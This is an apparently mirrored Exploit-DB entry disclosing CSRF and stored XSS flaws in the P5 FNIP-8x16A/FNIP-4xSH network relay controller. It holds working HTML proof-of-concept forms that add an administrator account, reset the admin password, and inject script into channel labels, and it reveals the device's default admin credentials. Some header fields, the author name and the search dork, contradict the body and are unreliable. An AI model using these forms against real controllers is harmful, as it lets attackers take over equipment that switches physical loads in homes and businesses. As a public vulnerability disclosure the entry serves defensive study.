P5 FNIP-8x16A FNIP-4xSH 1.0.20 – Cross-Site Request Forgery (Add Admin)

  • 作者: LiquidWorm
    日期: 2020-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48362/
  • # Exploit Title: P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)
    # Google Dork:jizhicms
    # Date: 2020-04-18
    # Exploit Author: iej1ctk1g
    # Product web page: https://www.p5.hu
    # Affected version: 1.0.20, 1.0.11
    # CVE : N/A
    
    <!--
    
    
    P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting
    
    
    Vendor: P5
    Product web page: https://www.p5.hu
    Affected version: 1.0.20, 1.0.11
    
    Summary: The FNIP-8x16A is an eight channel relay module used for switching any
    type of load that doesn’t exceed the specifications. Via its built-in web site
    and TCP/IP communication, the outputs and inputs can be controlled and monitored
    from standard network capable devices such as computers, smartphones, web-tablets,
    etc. either locally or via the network. The module can be used independently or
    as part of a complex control system in residential and commercial installations.
    
    Desc: The controller suffers from CSRF and XSS vulnerabilities. The application
    allows users to perform certain actions via HTTP requests without performing any
    validity checks to verify the requests. This can be exploited to perform certain
    actions with administrative privileges if a logged-in user visits a malicious web
    site. Input passed to several GET/POST parameters is not properly sanitised before
    being returned to the user. This can be exploited to execute arbitrary HTML and
    script code in a user's browser session in context of an affected site.
    
    Tested on: Linux
     CGI
    
    
    Vulnerabiity discovered by Gjoko 'LiquidWorm' Krstic
     @zeroscience
    
    
    Advisory ID: ZSL-2020-5564
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php
    
    
    29.01.2020
    
    -->
    
    
    <!-- CSRF add admin user -->
    <html>
    <body>
    <form action="http://192.168.1.17:83/user.cgi" method="POST">
    <input type="hidden" name="uno" value="1" /><!-- User number (user1) -->
    <input type="hidden" name="un" value="testingus" /> <!-- Username -->
    <input type="hidden" name="role" value="2" /> <!-- 2: Admin, 1: Actor, 0: Observer -->
    <input type="hidden" name="enabled" value="1" />
    <input type="hidden" name="pw" value="123456" />
    <input type="hidden" name="pw2" value="123456" />
    <input type="submit" value="Zubmit" />
    </form>
    </body>
    </html>
    
    <!-- CSRF change admin password -->
    <html>
    <body>
    <form action="http://192.168.1.17:83/user.cgi" method="POST">
    <input type="hidden" name="un" value="admin" /> <!-- Defaults: admin:futurenow -->
    <input type="hidden" name="pw" value="123456" />
    <input type="hidden" name="pw2" value="123456" />
    <input type="submit" value="Zubmit" />
    </form>
    </body>
    </html>
    
    <!-- XSS modify labels -->
    <html>
    <body>
    <form action="http://192.168.1.17:83/config.html" method="POST">
    <input type="hidden" name="lab1" value="Channel1" />
    <input type="hidden" name="lab2" value="Channel2" />
    <input type="hidden" name="lab3" value="Channel3" />
    <input type="hidden" name="lab4" value='"><script>confirm(251)</script>' />
    <input type="hidden" name="lab12" value="etc." />
    <input type="submit" value="Zubmit" />
    </form>
    </body>
    </html>